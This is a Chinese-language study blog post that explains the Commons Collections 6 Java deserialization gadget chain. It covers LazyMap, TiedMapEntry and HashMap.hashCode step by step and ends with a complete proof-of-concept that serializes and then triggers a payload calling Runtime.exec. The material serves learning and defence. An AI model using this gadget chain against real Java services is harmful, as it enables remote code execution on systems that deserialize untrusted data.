目录

  1. 1. 前言
  2. 2. 环境要求
  3. 3. 简化利用链
    1. 3.1. TiedMapEntry
    2. 3.2. HashMap触发调用hashCode
    3. 3.3. 构造gadget
  4. 4. 最终poc

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CC6链

2024/4/6 Web Java 反序列化
  |     |   总文章阅读量:

前言

你学得真晚!

jdk8u71后修复了sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑导致cc1链子不可用

于是有了cc6

如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS

参考:

《java安全漫谈》

https://drun1baby.top/2022/06/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8703-CC6%E9%93%BE/


环境要求

无版本限制


简化利用链

依旧是p牛的利用链

/*
 Gadget chain:
	 java.io.ObjectInputStream.readObject()
 		java.util.HashMap.readObject()
 			java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 		org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 		java.lang.reflect.Method.invoke()
		  java.lang.Runtime.exec()
*/

类似于tp链子,解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用LazyMap#get()的地方

但是只是单纯右键 get 方法查找用法的话,调用 get 的可太多太多了。。。java安全,实际可怕!

先复习一下 LazyMap 弹计算器的写法:

package com.example.cc6;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class LazyMapExec {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
        lazyGetMethod.setAccessible(true);
        lazyGetMethod.invoke(decorateMap, runtime);
    }
}

TiedMapEntry

这里我们的目标类是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue方法中调用了map.get

package org.apache.commons.collections4.keyvalue;

import java.io.Serializable;
import java.util.Map;

import org.apache.commons.collections4.KeyValue;

/**
 * A {@link java.util.Map.Entry Map.Entry} tied to a map underneath.
 * <p>
 * This can be used to enable a map entry to make changes on the underlying
 * map, however this will probably mess up any iterators.
 * </p>
 *
 * @param <K> the type of keys
 * @param <V> the type of mapped values
 * @since 3.0
 */
public class TiedMapEntry<K, V> implements Map.Entry<K, V>, KeyValue<K, V>, Serializable {

    /** Serialization version */
    private static final long serialVersionUID = -8453869361373831205L;

    /** The map underlying the entry/iterator */
    private final Map<K, V> map;

    /** The key */
    private final K key;

    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    public TiedMapEntry(final Map<K, V> map, final K key) {
        this.map = map;
        this.key = key;
    }
    
    // ...
    
    /**
     * Gets the key of this entry
     *
     * @return the key
     */
    @Override
    public K getKey() {
        return key;
    }
    
	/**
     * Gets the value of this entry direct from the map.
     *
     * @return the value
     */
    @Override
    public V getValue() {
        return map.get(key);
    }

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     *
     * @return a suitable hash code
     */
    @Override
    public int hashCode() {
        final Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode());
    }

	// ...

作用域是 public,不需要反射获取方法,可以直接调用 getValue,参数是构造方法里面获取的key

package com.example.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class TiedMapEntryExec {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, transformerChain);
        
        // 调用 get
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
        tiedMapEntry.getValue();
    }
}

可以成功弹出计算器

所以,要触发 LazyMap 利用链,就要用map.get代替AnnotationInvocationHandler.invoke.get接上链子

接下来找找在哪里调用了TiedMapEntry#getValue(),因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况

很容易发现同名函数下的 hashCode() 方法调用了 getValue() 方法

@Override
public int hashCode() {
    final Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode());
}

如果我们在实战里面,在链子中找到了 hashCode() 方法,说明我们的构造已经可以“半场开香槟”了

HashMap触发调用hashCode

我们看一下 ysoserial 的 gadget

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

这里是利用java.util.HashSet#readObjectHashMap#put再到HashMap#hash,最后到TiedMapEntry#hashCode

实际上,跟过urldns链就可以知道,在java.util.HashMap#readObject中可以找到HashMap#hash的调用,所以我们可以去掉前面两次调用

public class HashMap<K,V> extends AbstractMap<K,V>
    implements Map<K,V>, Cloneable, Serializable {

    // ...

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
// ...

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden
        stuff
        s.defaultReadObject();
        // ...
        // Read the keys and values, and put the mappings in the
        HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

之前的urldns链那里已经知道,在hash方法中会调用key.hashCode

所以,我们只需要让这个 key 等于TiedMapEntry对象,即可连接上前面的分析过程,构成⼀个完整的 Gadget

于是接上前面的链子:

package com.example.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class HashMapExec {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

        // 调用 getValue
        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "value");
    }
}

PS:如果下个断点的话会发现在HashMap<Object, Object> expMap = new HashMap<>();这一行就弹计算器了,这是因为IDEA的一个小坑

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器

image-20240903162637096

解决办法:在 IDEA 的偏好设置中修改“启用 toString() 对象视图”(二编:貌似上面那个“启用集合类的替代视图”也要去掉)

image-20240903162828097


构造gadget

有了前面的逐步分析就好理解多了

先构造LazyMap

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, transformerChain);

为了避免本地调试时提前触发命令执行,我们可以用⼀个人畜无害的 fakeTransformers 对象,等最后要生成Payload的时候,再用反射把真正的 transformers 替换进去

现在我们拿到了一个恶意的 LazyMap 对象lazyMap,将其作为 TiedMapEntry 的map属性

TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");

为了调用TiedMapEntry#hashCode,把这个 tme 对象作为 HashMap 的一个key,这里需要新建一个 HashMap ,和LazyMap链子里面的那个没有任何关系

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,将这个 expMap 作为对象来序列化

// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

这样子运行之后无事发生,因为在反序列化的时候此时map.containsKey(key) == truekey = "keykey"

image-20240903171322743

这是因为我们前面为了防止立刻触发发命令执行使用了fakeTransformers,导致 LazyMap 这个利用链被重新调用了一遍,影响到了最后命令执行那里

解决的办法就是再移除这个key即可:outerMap.remove("keykey")


最终poc

package com.example.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}